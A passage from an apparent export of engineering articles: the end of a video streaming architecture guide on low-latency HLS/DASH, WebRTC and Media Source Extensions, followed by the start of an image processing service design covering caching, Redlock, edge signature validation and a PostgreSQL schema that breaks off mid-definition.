**Latency budget:**

- Part generation: ~500ms
- CDN propagation: ~200ms
- Blocking playlist: ~0ms (pre-positioned)
- Player buffer: ~1-2 seconds (safety margin)
- **Total: 2-3 seconds**

### Low-Latency DASH (LL-DASH)

LL-DASH achieves similar latency through different mechanisms:

1. **CMAF Chunked Transfer:** Each CMAF chunk is transferred via HTTP chunked encoding as it's generated. The client receives data before the segment is complete.

2. **Service Description:** The MPD includes `ServiceDescription` with target latency and playback rate adjustments:

```xml
<ServiceDescription>
  <Latency target="3500" min="2000" max="6000" />
  <PlaybackRate min="0.96" max="1.04" />
</ServiceDescription>
```

3. **CMSD (Common Media Server Data):** Server-to-client signaling of real-time latency targets, enabling dynamic adjustment.

**L3D Profile (2024):** The 6th edition of DASH introduces Low Latency, Low Delay DASH with discretely addressable partial segments, aligning more closely with LL-HLS's partial segment model.

### WebRTC (Web Real-Time Communication)

WebRTC is fundamentally different from HTTP streaming. It's designed for true real-time, bidirectional communication with sub-second latency.

**Key architectural differences:**

| Aspect           | HLS/DASH                   | WebRTC                        |
| ---------------- | -------------------------- | ----------------------------- |
| Transport        | TCP (HTTP)                 | UDP (SRTP)                    |
| Connection Model | Stateless request/response | Stateful peer connections     |
| Error Handling   | Retransmit on loss         | Skip or interpolate lost data |
| Buffering        | Seconds of buffer          | Milliseconds (jitter buffer)  |
| Scaling          | CDN (millions of viewers)  | SFU/MCU (hundreds per server) |

**Why UDP for low latency?** TCP's reliability (retransmission, ordering) introduces head-of-line blocking. A lost packet blocks all subsequent packets until retransmitted. For live video, it's better to skip a frame than delay the entire stream.

**SFU (Selective Forwarding Unit) architecture:** For group calls and broadcasting, WebRTC uses SFUs. Each participant sends once to the SFU; the SFU forwards streams to all receivers without transcoding. This scales better than mesh (N² connections) or MCU (transcoding bottleneck).

### Latency Technology Selection

| Use Case           | Technology           | Latency | Trade-off                          |
| ------------------ | -------------------- | ------- | ---------------------------------- |
| VOD                | Traditional HLS/DASH | 6-15s   | Maximum compatibility, CDN caching |
| Live Sports        | LL-HLS/LL-DASH       | 2-5s    | Scalable, some latency             |
| Live Auctions      | LL-HLS/LL-DASH       | 2-3s    | HTTP infrastructure                |
| Video Conferencing | WebRTC               | <500ms  | Requires SFU infrastructure        |
| Gaming/Interactive | WebRTC               | <200ms  | Limited scale per server           |

**Hybrid approaches are emerging:** Some systems use WebRTC for the first hop (ingest) and LL-HLS for distribution. This combines low-latency capture with CDN scalability.

## Client-Side Playback: Media Source Extensions

The browser's native `<video>` element can only handle progressive download or a single HLS/DASH stream (limited browser support). For adaptive streaming with quality switching, players use Media Source Extensions (MSE).

### MSE Architecture

MSE (W3C Recommendation, actively updated through 2024) provides a JavaScript API to feed media data to `<video>`:

```javascript
const mediaSource = new MediaSource()
video.src = URL.createObjectURL(mediaSource)

mediaSource.addEventListener("sourceopen", () => {
  const sourceBuffer = mediaSource.addSourceBuffer('video/mp4; codecs="avc1.640028"')

  // Append segments as they're fetched
  fetch("segment.m4s")
    .then((r) => r.arrayBuffer())
    .then((data) => {
      sourceBuffer.appendBuffer(data)
    })
})
```

**Key components:**

- **MediaSource:** Container that connects to HTMLMediaElement
- **SourceBuffer:** Buffer for a single track (video, audio, or text). Handles segment parsing and decode.
- **SourceBufferList:** Collection of active buffers

### Buffer Management

The player must balance competing concerns:

1. **Sufficient buffer for smooth playback** (2-30 seconds depending on use case)
2. **Responsive quality switching** (smaller buffer = faster adaptation)
3. **Memory constraints** (5-20 MB typical; mobile is more constrained)

**ManagedMediaSource (2024):** A new addition where the browser manages buffer eviction automatically. The player receives `bufferedchange` events when the browser evicts data, enabling simpler player implementations.

**Gotcha: Buffer eviction timing.** If the player doesn't track eviction, it may request already-evicted segments, causing playback stalls. Production players must handle the `bufferedchange` event or implement their own eviction tracking.

### Codec Switching

MSE's `changeType()` method enables mid-stream codec changes without replacing the SourceBuffer:

```javascript
sourceBuffer.changeType('video/mp4; codecs="hev1.1.6.L93.B0"')
```

**Use case:** Start with H.264 for immediate playback (universal decode), then switch to HEVC for bandwidth savings once the player confirms hardware support.

### Common Failure Modes

| Failure                | Symptom            | Cause                                      |
| ---------------------- | ------------------ | ------------------------------------------ |
| **QuotaExceededError** | appendBuffer fails | Buffer full; implement eviction            |
| **Decode error**       | Video freezes      | Corrupted segment or codec mismatch        |
| **Gap in timeline**    | Audio/video desync | Discontinuity not handled                  |
| **Infinite buffering** | Never starts       | Init segment missing or codec string wrong |

## Architecting a Resilient Video Pipeline

Building a production-grade video streaming service requires robust system design. A modern video pipeline should be viewed as a high-throughput, real-time data pipeline with strict latency and availability requirements.

### CDN: The Critical Infrastructure

A CDN is non-negotiable for any streaming service at scale:

**Origin offload:** Without a CDN, a live stream to 1 million concurrent viewers at 5 Mbps requires 5 Pbps from origin. With a CDN, each edge PoP (Point of Presence) fetches once, caches, and serves thousands locally. Origin load: ~100 Mbps (PoPs × bitrate variants).

**Latency reduction:** Physical distance determines minimum latency (~1ms per 200km for fiber). A global CDN with 100+ PoPs ensures most users are within 50ms of an edge server.

**Manifest caching considerations:** Live manifests change every few seconds. CDN TTL must be shorter than update frequency, or viewers see stale playlists. Common pattern: TTL = 1 second for live manifests, origin-controlled cache-control headers.

### ABR Ladder Design

The bitrate ladder determines which quality levels are available. Poor ladder design causes:

- **Wasted bandwidth:** Steps too small for perceptible quality difference
- **Unnecessary buffering:** Steps too large, causing oscillation
- **Poor mobile experience:** No low-bitrate option for constrained networks

**Example production ladder (1080p max):**

| Resolution | Bitrate  | Use Case                       |
| ---------- | -------- | ------------------------------ |
| 1920×1080  | 8 Mbps   | High-quality fixed connections |
| 1920×1080  | 5 Mbps   | Good broadband                 |
| 1280×720   | 3 Mbps   | Average broadband              |
| 1280×720   | 1.8 Mbps | Mobile on good LTE             |
| 854×480    | 1.1 Mbps | Mobile on average LTE          |
| 640×360    | 600 kbps | Constrained mobile             |
| 426×240    | 300 kbps | Edge case fallback             |

**Per-title encoding:** Advanced platforms analyze each video's complexity and generate custom ladders. A static talking-head video needs lower bitrates than an action scene. Netflix's per-title encoding reduced bandwidth by 20% without quality loss.

### Monitoring and Observability

**Player-side metrics (client telemetry):**

- Startup time (time to first frame)
- Rebuffering ratio (time buffering / time playing)
- Average bitrate
- Quality switches per minute
- Error rate by type

**Server-side metrics:**

- Origin request rate and latency
- CDN cache hit ratio
- Manifest generation latency
- Segment availability latency (time from encode to CDN edge)

**Alerting thresholds (example):**

- Rebuffering ratio > 1%: Investigate
- Startup time p95 > 3 seconds: Investigate
- CDN cache hit ratio < 90%: Check TTL configuration
- Origin 5xx rate > 0.1%: Incident

## Common Production Failure Modes

### Subtitle Synchronization Drift

**Problem:** WebVTT captions drift out of sync during playback.

**Cause:** `X-TIMESTAMP-MAP` header maps WebVTT cue times to media timestamps. Different calculation bases for offset (PTS vs. wall clock) cause drift. Works correctly with MPEG-TS but problematic with fMP4.

**Mitigation:** Use `EXT-X-PROGRAM-DATE-TIME` for wall-clock synchronization instead of direct PTS mapping.

### Manifest Update Race Conditions

**Problem:** Player requests a segment that doesn't exist yet.

**Cause:** Aggressive manifest caching (CDN TTL too long) or clock skew between origin and player.

**Mitigation:**

- Set manifest TTL shorter than segment duration
- Include `EXT-X-PROGRAM-DATE-TIME` for clock synchronization
- Implement retry with exponential backoff for 404s on expected segments

### DRM License Renewal Failures

**Problem:** Playback stops mid-stream when license expires.

**Cause:** License expiration not handled, or renewal request blocked by ad blocker.

**Mitigation:**

- Request license renewal before expiration (typically at 80% of license duration)
- Implement graceful degradation (continue playing cached content while renewing)
- Monitor license acquisition failures as a key metric

### Multi-Device Synchronization Drift

**Problem:** Multiple devices watching the same "live" stream diverge over time.

**Cause:** Clock drift, variable network latency, different buffer depths.

**Mitigation:**

- Use `EXT-X-PROGRAM-DATE-TIME` as sync anchor
- Implement periodic re-sync (every 30 seconds) with allowed drift tolerance
- Consider server-side time signaling (CMSD in DASH)

## Conclusion

Video streaming architecture is a study in layered abstractions, each solving a specific problem:

1. **Codecs** solve compression (H.264 for compatibility, AV1 for efficiency)
2. **Containers** solve addressability (CMAF unifies HLS/DASH delivery)
3. **Manifests** solve discovery (client-driven quality selection)
4. **DRM** solves content protection (CENC enables multi-platform encryption)
5. **Low-latency extensions** solve real-time delivery (LL-HLS/LL-DASH for HTTP, WebRTC for UDP)

The key architectural insight: **the client drives everything.** The server provides options (quality variants, segments, licenses); the client makes decisions based on local conditions (bandwidth, buffer, capability). This stateless server model enables CDN scaling—every request is independent.

Production systems must support the full matrix: multiple codecs × multiple protocols × multiple DRM systems × multiple latency profiles. CMAF and CENC make this tractable by sharing the encoded content and encryption. Only manifests and license servers differ per platform.

The future is hybrid: AV1 for bandwidth efficiency where hardware supports it, H.264 as universal fallback; LL-HLS for scalable low-latency, WebRTC for interactive applications; hardware DRM for premium content, software for broader reach. The winning architecture is the one that dynamically selects the right tool for each user's context.

## Appendix

### Prerequisites

- Understanding of HTTP request/response model
- Familiarity with video concepts (resolution, bitrate, frame rate)
- Basic knowledge of encryption (symmetric encryption, key exchange)
- Understanding of CDN caching principles

### Terminology

| Term        | Definition                                                                   |
| ----------- | ---------------------------------------------------------------------------- |
| **ABR**     | Adaptive Bitrate Streaming—dynamically selecting quality based on conditions |
| **CDM**     | Content Decryption Module—browser component that handles DRM decryption      |
| **CMAF**    | Common Media Application Format—standardized fMP4 for HLS/DASH               |
| **CENC**    | Common Encryption—standard for multi-DRM file encryption                     |
| **CTU**     | Coding Tree Unit—basic processing unit in HEVC (up to 64×64 pixels)          |
| **EME**     | Encrypted Media Extensions—W3C API connecting JavaScript to CDM              |
| **fMP4**    | Fragmented MP4—streaming-optimized MP4 with separate init and media segments |
| **GOP**     | Group of Pictures—sequence of frames from one I-frame to the next            |
| **I-frame** | Intra-frame—independently decodable frame (keyframe)                         |
| **ISOBMFF** | ISO Base Media File Format—foundation for MP4/fMP4 containers                |
| **LL-HLS**  | Low-Latency HLS—Apple's extension for 2-4 second latency                     |
| **MPD**     | Media Presentation Description—DASH's XML manifest format                    |
| **MSE**     | Media Source Extensions—W3C API for feeding media to HTMLMediaElement        |
| **NAL**     | Network Abstraction Layer—framing structure in H.264/HEVC bitstreams         |
| **PoP**     | Point of Presence—CDN edge location                                          |
| **PSSH**    | Protection System Specific Header—DRM metadata in MP4 files                  |
| **PTS**     | Presentation Timestamp—when a frame should be displayed                      |
| **SFU**     | Selective Forwarding Unit—WebRTC server that routes without transcoding      |
| **TEE**     | Trusted Execution Environment—hardware-secured processing area               |

### Summary

- **Codecs trade compression efficiency vs. hardware support.** H.264 is universal; AV1 offers 30% better compression but requires modern hardware (10% smartphone coverage as of 2024).
- **CMAF unifies HLS and DASH delivery.** Single encoded segments, different manifests. Reduces storage and improves CDN cache efficiency.
- **HLS dominates due to Apple ecosystem.** Safari/iOS require HLS; most services support both HLS and DASH.
- **DRM is platform-fragmented.** Widevine (Google), FairPlay (Apple), PlayReady (Microsoft). CENC enables single encryption for all three.
- **Low-latency is achievable with HTTP.** LL-HLS/LL-DASH achieve 2-4 seconds via partial segments and blocking playlist reload.
- **WebRTC is for true real-time.** Sub-500ms latency via UDP transport, but requires SFU infrastructure and doesn't scale like CDNs.

### References

**Specifications:**

- [RFC 8216 - HTTP Live Streaming](https://datatracker.ietf.org/doc/html/rfc8216) - HLS protocol specification
- [draft-pantos-hls-rfc8216bis](https://datatracker.ietf.org/doc/html/draft-pantos-hls-rfc8216bis) - HLS protocol version 13 (in progress)
- [ISO/IEC 23009-1:2022 - MPEG-DASH](https://www.iso.org/standard/83314.html) - DASH specification (5th edition)
- [ISO/IEC 23000-19:2024 - CMAF](https://www.iso.org/standard/85623.html) - Common Media Application Format
- [ISO/IEC 23001-7:2023 - CENC](https://www.iso.org/standard/84637.html) - Common Encryption standard
- [ITU-T H.264](https://www.itu.int/rec/T-REC-H.264) - Advanced Video Coding specification
- [ITU-T H.265](https://www.itu.int/rec/T-REC-H.265) - High Efficiency Video Coding specification
- [RFC 6716 - Opus Audio Codec](https://datatracker.ietf.org/doc/html/rfc6716) - Opus codec specification
- [W3C Media Source Extensions](https://www.w3.org/TR/media-source-2/) - MSE API specification
- [W3C Encrypted Media Extensions](https://www.w3.org/TR/encrypted-media/) - EME API specification
- [W3C WebRTC](https://www.w3.org/TR/webrtc/) - WebRTC API specification

**Official Documentation:**

- [Apple HLS Authoring Specification](https://developer.apple.com/documentation/http-live-streaming/hls-authoring-specification-for-apple-devices) - Apple's HLS requirements
- [Apple Low-Latency HLS](https://developer.apple.com/documentation/http-live-streaming/enabling-low-latency-http-live-streaming-hls) - LL-HLS implementation guide
- [DASH-IF Implementation Guidelines](https://dashif.org/guidelines/) - DASH interoperability guidelines
- [DASH-IF Timing Model](https://dashif.org/Guidelines-TimingModel/) - DASH timing and synchronization
- [Widevine DRM](https://www.widevine.com/) - Google's DRM documentation
- [FairPlay Streaming](https://developer.apple.com/streaming/fps/) - Apple's DRM documentation
- [MDN Media Source Extensions API](https://developer.mozilla.org/en-US/docs/Web/API/Media_Source_Extensions_API) - MSE developer reference

**Tools:**

- [FFmpeg Documentation](https://ffmpeg.org/documentation.html) - Video processing toolkit
- [Shaka Player](https://github.com/shaka-project/shaka-player) - Open-source DASH/HLS player
- [hls.js](https://github.com/video-dev/hls.js) - Open-source HLS player for MSE
- [dash.js](https://github.com/Dash-Industry-Forum/dash.js) - Reference DASH player

---

## Image Processing Service Design: CDN, Transforms, and APIs

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/media-systems/image-processing-service-design
**Category:** Platform Engineering / Media Systems
**Description:** This document presents the architectural design for a cloud-agnostic, multi-tenant image processing platform that provides on-the-fly transformations with enterprise-grade security, performance, and cost optimization. The platform supports hierarchical multi-tenancy (Organization → Tenant → Space), public and private image delivery, and deployment across AWS, GCP, Azure, or on-premise infrastructure. Key capabilities include deterministic transformation caching to ensure sub-second delivery, HMAC-SHA256 signed URLs for secure private access, CDN (Content Delivery Network) integration for global edge caching, and a “transform-once-serve-forever” approach that minimizes processing costs while guaranteeing HTTP 200 responses even for first-time transformation requests.

# Image Processing Service Design: CDN, Transforms, and APIs

This document presents the architectural design for a cloud-agnostic, multi-tenant image processing platform that provides on-the-fly transformations with enterprise-grade security, performance, and cost optimization. The platform supports hierarchical multi-tenancy (Organization → Tenant → Space), public and private image delivery, and deployment across AWS, GCP, Azure, or on-premise infrastructure. Key capabilities include deterministic transformation caching to ensure sub-second delivery, HMAC-SHA256 signed URLs for secure private access, CDN (Content Delivery Network) integration for global edge caching, and a "transform-once-serve-forever" approach that minimizes processing costs while guaranteeing HTTP 200 responses even for first-time transformation requests.

<figure>

![High-level architecture: Clients request images through CDN, with cache misses handled by the Image Gateway which orchestrates transformation, caching, and storage](./high-level-architecture-clients-request-images-through-cdn-with-cache-misses-han.svg)

<figcaption>High-level architecture: Clients request images through CDN, with cache misses handled by the Image Gateway which orchestrates transformation, caching, and storage</figcaption>

</figure>

## Abstract

Image processing at scale requires balancing three competing concerns: **latency** (users expect sub-second delivery), **cost** (processing and storage grow with traffic), and **correctness** (transformations must be deterministic and secure). This architecture resolves these tensions through a layered caching strategy with content-addressed storage.

<figure>

![Multi-layer caching eliminates 99.9% of redundant processing—only the first request for each unique transformation hits the Transform Engine.](./multi-layer-caching-eliminates-99-9-of-redundant-processing-only-the-first-reque.svg)

<figcaption>Multi-layer caching eliminates 99.9% of redundant processing—only the first request for each unique transformation hits the Transform Engine.</figcaption>

</figure>

**Core mental model:**

1. **Content-addressed storage**: Hash(original + operations) → unique derived asset. Same inputs always produce the same output, enabling infinite caching.
2. **Synchronous-first with async fallback**: Transform inline for < 5MB images (< 800ms). Queue larger images but return 202 with polling URL.
3. **Efficiency locks, not safety locks**: Redlock prevents duplicate processing but doesn't guarantee mutual exclusion. If two transforms race, both succeed—we just store one.
4. **Hierarchical policies**: Organization → Tenant → Space inheritance. Override at any level. Enforce at every layer (API, database, CDN).

**Technology selection rationale:**

| Component        | Choice                | Why                                                                                       |
| ---------------- | --------------------- | ----------------------------------------------------------------------------------------- |
| Image processor  | Sharp 0.34+ (libvips) | 26x faster than jimp, 4-5x faster than ImageMagick, ~50MB memory per worker               |
| Distributed lock | Redlock               | Sufficient for efficiency (not correctness); simpler than etcd/ZooKeeper                  |
| Formats          | AVIF → WebP → JPEG    | AVIF: 94.89% browser support, 50% smaller than JPEG. WebP: 95.93% support, 25-34% savings |
| Database         | PostgreSQL + JSONB    | Row-level security, flexible policy storage, proven at scale                              |

## System Overview

### Core Capabilities

1. **Multi-Tenancy Hierarchy**
   - **Organization**: Top-level tenant boundary
   - **Tenant**: Logical partition within organization (brands, environments)
   - **Space**: Project workspace containing assets

2. **Image Access Models**
   - **Public Images**: Direct URL access with CDN caching
   - **Private Images**: Cryptographically signed URLs with expiration

3. **On-the-Fly Processing**
   - Real-time transformations (resize, crop, format, quality, effects)
   - Named presets for common transformation patterns
   - Automatic format optimization (WebP, AVIF)
   - **Guaranteed 200 response** even on first transform request

4. **Cloud-Agnostic Design**
   - Deployment to AWS, GCP, Azure, or on-premise
   - Storage abstraction layer for portability
   - Kubernetes-based orchestration

5. **Performance & Cost Optimization**
   - Multi-layer caching (CDN → Redis → Database → Storage)
   - Transform deduplication with content-addressed storage
   - Lazy preset generation
   - Storage lifecycle management

---

## Component Naming

### Core Services

| Component         | Name                        | Purpose                              |
| ----------------- | --------------------------- | ------------------------------------ |
| Entry point       | **Image Gateway**           | API gateway, routing, authentication |
| Transform service | **Transform Engine**        | On-demand image processing           |
| Upload handler    | **Asset Ingestion Service** | Image upload and validation          |
| Admin API         | **Control Plane API**       | Tenant management, configuration     |
| Background jobs   | **Transform Workers**       | Async preset generation              |
| Metadata store    | **Registry Service**        | Asset and transformation metadata    |
| Storage layer     | **Object Store Adapter**    | Cloud-agnostic storage interface     |
| CDN layer         | **Edge Cache**              | Global content delivery              |
| URL signing       | **Signature Service**       | Private URL cryptographic signing    |

### Data Entities

| Entity            | Name              | Description                      |
| ----------------- | ----------------- | -------------------------------- |
| Uploaded file     | **Asset**         | Original uploaded image          |
| Processed variant | **Derived Asset** | Transformed image                |
| Named transform   | **Preset**        | Reusable transformation template |
| Transform result  | **Variant**       | Cached transformation output     |

---

## Architecture Principles

### 1. Cloud Portability First

- **Storage Abstraction**: Unified interface for S3, GCS, Azure Blob, MinIO
- **Queue Abstraction**: Support for SQS, Pub/Sub, Service Bus, RabbitMQ
- **Kubernetes Native**: Deploy consistently across clouds
- **No Vendor Lock-in**: Use open standards where possible

### 2. Performance SLA

- **Edge Hit**: < 50ms (CDN cache)
- **Origin Hit**: < 200ms (application cache)
- **First Transform**: < 800ms (sync processing for images < 5MB)
- **Always Return 200**: Never return 202 or redirect

### 3. Transform Once, Serve Forever

- Content-addressed transformation storage
- Idempotent processing with distributed locking
- Permanent caching with invalidation API
- Deduplication across requests

### 4. Security by Default

- Signed URLs for private content
- Row-level tenancy isolation
- Encryption at rest and in transit
- Comprehensive audit logging

### 5. Cost Optimization

- Multi-layer caching to reduce processing
- Storage lifecycle automation
- Format optimization (WebP/AVIF)
- Rate limiting and resource quotas

---

## Technology Stack

### Core Technologies

#### Image Processing Library

| Technology          | Pros                                                     | Cons                       | Recommendation             |
| ------------------- | -------------------------------------------------------- | -------------------------- | -------------------------- |
| **Sharp (libvips)** | 26x faster than jimp, low memory (~50MB), modern formats | Linux-focused build        | ✅ **Recommended**         |
| ImageMagick         | Feature-rich, mature                                     | 4-5x slower than Sharp     | Use for complex operations |
| Jimp                | Pure JavaScript, portable                                | Very slow, limited formats | Development only           |

**Choice**: **Sharp 0.34+** (latest: 0.34.5, November 2025) with libvips 8.18 for primary processing.

**Why Sharp over alternatives:**

- **Performance**: 64.42 ops/sec for JPEG processing on x64, 49.20 ops/sec on ARM64 (benchmarked without libvips caching; production performance higher)
- **Memory efficiency**: Uses streaming and memory-mapped I/O; set `MALLOC_ARENA_MAX="2"` on Linux to reduce glibc fragmentation
- **Modern format support**: AVIF, WebP, and as of libvips 8.18: UltraHDR (for HDR displays), Camera RAW via libraw, Oklab colorspace (CSS4-standard, faster than CIELAB)

**libvips 8.18 (December 2025) notable additions:**

- **UltraHDR**: Single image file displays optimally on both SDR and HDR screens via Google's libultrahdr
- **Camera RAW**: 28% faster and 40% less memory than ImageMagick when resizing CR2/NEF files
- **BigTIFF output**: Support for TIFF files > 4GB

```bash
npm install sharp
```

#### Caching Layer

| Technology | Use Case                 | Pros                      | Cons                               | Recommendation       |
| ---------- | ------------------------ | ------------------------- | ---------------------------------- | -------------------- |
| **Redis**  | Application cache, locks | Fast, pub/sub, clustering | Memory cost                        | ✅ **Primary cache** |
| Memcached  | Simple KV cache          | Faster for simple gets    | No persistence, limited data types | Skip                 |
| Hazelcast  | Distributed cache        | Java ecosystem, compute   | Complexity                         | Skip for Node.js     |

**Choice**: **Redis** (6+ with Redis Cluster for HA)

```bash
npm install ioredis
```

#### Storage Clients

| Provider             | Library                 | Notes           |
| -------------------- | ----------------------- | --------------- |
| AWS S3               | `@aws-sdk/client-s3`    | Official v3 SDK |
| Google Cloud Storage | `@google-cloud/storage` | Official SDK    |
| Azure Blob           | `@azure/storage-blob`   | Official SDK    |
| MinIO (on-prem)      | `minio` or S3 SDK       | S3-compatible   |

```bash
npm install @aws-sdk/client-s3 @google-cloud/storage @azure/storage-blob minio
```

#### Message Queue

| Provider          | Library                | Use Case                |
| ----------------- | ---------------------- | ----------------------- |
| AWS SQS           | `@aws-sdk/client-sqs`  | AWS deployments         |
| GCP Pub/Sub       | `@google-cloud/pubsub` | GCP deployments         |
| Azure Service Bus | `@azure/service-bus`   | Azure deployments       |
| RabbitMQ          | `amqplib`              | On-premise, multi-cloud |

**Choice**: Provider-specific for cloud, **RabbitMQ** for on-premise

```bash
npm install amqplib
```

#### Web Framework

| Framework   | Pros                                   | Cons                   | Recommendation     |
| ----------- | -------------------------------------- | ---------------------- | ------------------ |
| **Fastify** | Fast, low overhead, TypeScript support | Less mature ecosystem  | ✅ **Recommended** |
| Express     | Mature, large ecosystem                | Slower, callback-based | Acceptable         |
| Koa         | Modern, async/await                    | Smaller ecosystem      | Acceptable         |

**Choice**: **Fastify** for performance

```bash
npm install fastify @fastify/multipart @fastify/cors
```

#### Database

| Technology     | Pros                                 | Cons                 | Recommendation     |
| -------------- | ------------------------------------ | -------------------- | ------------------ |
| **PostgreSQL** | JSONB, full-text search, reliability | Complex clustering   | ✅ **Recommended** |
| MySQL          | Mature, simple                       | Limited JSON support | Acceptable         |
| MongoDB        | Flexible schema                      | Tenancy complexity   | Not recommended    |

**Choice**: **PostgreSQL 15+** with JSONB for policies

```bash
npm install pg
```

#### URL Signing

| Library                    | Algorithm      | Recommendation     |
| -------------------------- | -------------- | ------------------ |
| **Node crypto (built-in)** | HMAC-SHA256    | ✅ **Recommended** |
| `jsonwebtoken`             | JWT (HMAC/RSA) | Use for JWT tokens |
| `tweetnacl`                | Ed25519        | Use for EdDSA      |

**Choice**: **Built-in crypto module** for HMAC-SHA256 signatures

```javascript
import crypto from "crypto"
```

#### Distributed Locking

| Technology          | Pros                         | Cons                               | Recommendation         |
| ------------------- | ---------------------------- | ---------------------------------- | ---------------------- |
| **Redlock (Redis)** | Simple, Redis-based          | No fencing tokens, clock skew risk | ✅ For efficiency only |
| etcd                | Linearizable, fencing tokens | Separate service, higher latency   | Safety-critical use    |
| ZooKeeper           | Strong consistency, mature   | Complex operations, JVM dependency | Safety-critical use    |
| Database locks      | Simple, transactional        | Contention, less scalable          | Development only       |

**Choice**: **Redlock** with Redis for transform deduplication (efficiency), **not** for safety-critical mutual exclusion.

**Why Redlock is sufficient here:**

The image service uses locks to prevent duplicate work, not to prevent data corruption. If two workers race past the lock:

1. Both fetch the original image
2. Both apply the same transformation (deterministic)
3. Both attempt to store the result
4. One wins (upsert semantics), the other's write is a no-op

This is inefficient (wasted compute) but not incorrect. The content-addressed storage ensures idempotency.

**Why Redlock is insufficient for safety-critical scenarios** (per [Martin Kleppmann's analysis](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html)):

1. **No fencing tokens**: Cannot generate monotonically increasing tokens to detect stale lock holders after process pauses/GC stops
2. **Timing assumptions**: Depends on bounded network delays and clock accuracy that frequently break in practice
3. **Clock vulnerabilities**: Uses `gettimeofday()` (not monotonic); NTP adjustments can cause time jumps

**Redis's current recommendation** (from [official docs](https://redis.io/docs/latest/develop/clients/patterns/distributed-locks/)): Use N=5 Redis masters with majority voting, implement fencing tokens separately if correctness matters, monitor clock drift.

```bash
npm install redlock
```

---

## High-Level Architecture

### System Diagram

![Diagram](./diagram-1.svg)

### Request Flow: Public Image

![Diagram](./diagram-2.svg)

### Request Flow: Private Image

![Diagram](./diagram-3.svg)

### Edge Authentication Patterns

Modern CDNs support signature validation at the edge, eliminating origin round-trips for private content. This section covers three deployment patterns with different security/complexity tradeoffs.

**Pattern 1: Origin-based validation (simplest)**

All requests hit the origin, which validates signatures. The CDN caches responses keyed by the full URL including signature parameters.

- **Pros**: Simple deployment, no edge configuration
- **Cons**: Every unique signed URL generates a cache miss, origin must handle all validation
- **When to use**: Low traffic, simple deployments, or when CDN doesn't support edge compute

**Pattern 2: Edge signature validation with normalized cache keys**

The edge validates the signature, then strips signature parameters before checking the cache. This allows multiple signed URLs for the same content to share a single cache entry.

```javascript title="cloudflare-worker-auth.js" collapse={1-5, 25-40}
// Cloudflare Worker for edge signature validation
// Workers run on V8 isolates: ~1/10th memory of Node.js, <5ms cold start

export default {
  async fetch(request, env) {
    const url = new URL(request.url)

    // Extract and validate signature
    const sig = url.searchParams.get("sig")
    const exp = url.searchParams.get("exp")
    const kid = url.searchParams.get("kid")

    if (!sig || !exp || !kid) {
      return new Response("Missing signature", { status: 401 })
    }

    // Check expiration
    if (Date.now() / 1000 > parseInt(exp)) {
      return new Response("Signature expired", { status: 401 })
    }

    // Validate HMAC (key fetched from Workers KV or secrets)
    const key = await env.SIGNING_KEYS.get(kid)
    if (!key) {
      return new Response("Invalid key", { status: 401 })
    }

    // Reconstruct canonical string and verify
    const canonical = createCanonicalString(url.pathname, exp, url.hostname)
    const expected = await computeHmac(key, canonical)

    if (!timingSafeEqual(sig, expected)) {
      return new Response("Invalid signature", { status: 401 })
    }

    // Strip signature params for cache key normalization
    url.searchParams.delete("sig")
    url.searchParams.delete("exp")
    url.searchParams.delete("kid")

    // Fetch from origin/cache with normalized URL
    return fetch(url.toString(), {
      cf: { cacheKey: url.toString() }, // Normalized cache key
    })
  },
}
```

- **Pros**: High cache efficiency, reduced origin load, sub-5ms auth latency
- **Cons**: Requires edge compute (CloudFlare Workers, CloudFront Functions, Fastly Compute)
- **When to use**: High-traffic private content, latency-sensitive applications

**Pattern 3: JWT tokens with edge validation**

Use JWT (JSON Web Token) instead of HMAC signatures. The edge can decode and validate JWTs without origin contact, and the token can carry claims (user ID, tenant ID, allowed operations).

- **Pros**: Self-contained tokens with embedded claims, standard format
- **Cons**: Larger URLs, no revocation without short expiry or edge-stored blocklist
- **When to use**: When tokens need to carry user context, or when integrating with existing JWT infrastructure

**CDN-specific implementation notes:**

| CDN        | Edge Auth Capability                               | Cache Key Normalization        |
| ---------- | -------------------------------------------------- | ------------------------------ |
| CloudFlare | Workers (full JS), Rules (limited)                 | `cf.cacheKey` in Workers       |
| CloudFront | Functions (limited JS), Lambda@Edge (full Node.js) | `cache-policy` with query keys |
| Fastly     | Compute@Edge (Rust/JS/Go), VCL                     | `req.hash` manipulation in VCL |
| Akamai     | EdgeWorkers (JS), Property Manager                 | Cache ID modification          |

---

## Data Models

### Database Schema

```sql title="schema.sql" collapse={1-30, 110-140, 175-210}
-- Organizations (Top-level tenants)
CREATE TABLE organizations (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    slug VARCHAR(100) UNIQUE NOT NULL,
    name VARCHAR(255) NOT NULL,
    status VARCHAR(20) DEFAULT 'active',

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ NULL
);

-- Tenants (Optional subdivision within org)
CREATE TABLE tenants (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL REFERENCES organizations(id) ON DELETE CASCADE,
    slug VARCHAR(100) NOT NULL,
    name VARCHAR(255) NOT NULL,
    status VARCHAR(20) DEFAULT 'active',

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ NULL,

    UNIQUE(organization_id, slug)
);

-- Spaces (Projects within tenant)
CREATE TABLE spaces (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    organization_id UUID NOT NULL REFERENCES organizations(id) ON DELETE CASCADE,
    tenant_id UUID NOT NULL REFERENCES tenants(id) ON DELETE CASCADE,
    slug VARCHAR(100) NOT NULL,
    name VARCHAR(255) NOT NULL,

    -- Default policies (inherit from tenant/org if NULL)
    default_access VARCHAR(20) DEFAULT 'private', -- 'public' or 'private'

    -- Metadata
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ NULL,

    UNIQUE(tenant_id, slug),
    CONSTRAINT valid_access CHECK (default_access IN ('public', 'private'))
);

-- Policies (Hierarchical configuration)
CREATE TABLE policies (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),

    -- Scope (org, tenant, or space)
    scope_type VARCHAR(20) NOT NULL, -- 'organization', 'tenant', 'space'
    scope_id UUID NOT NULL,

    -- Policy data
    key VARCHAR(100) NOT NULL,
    value JSONB NOT NULL,

    -- Metadata
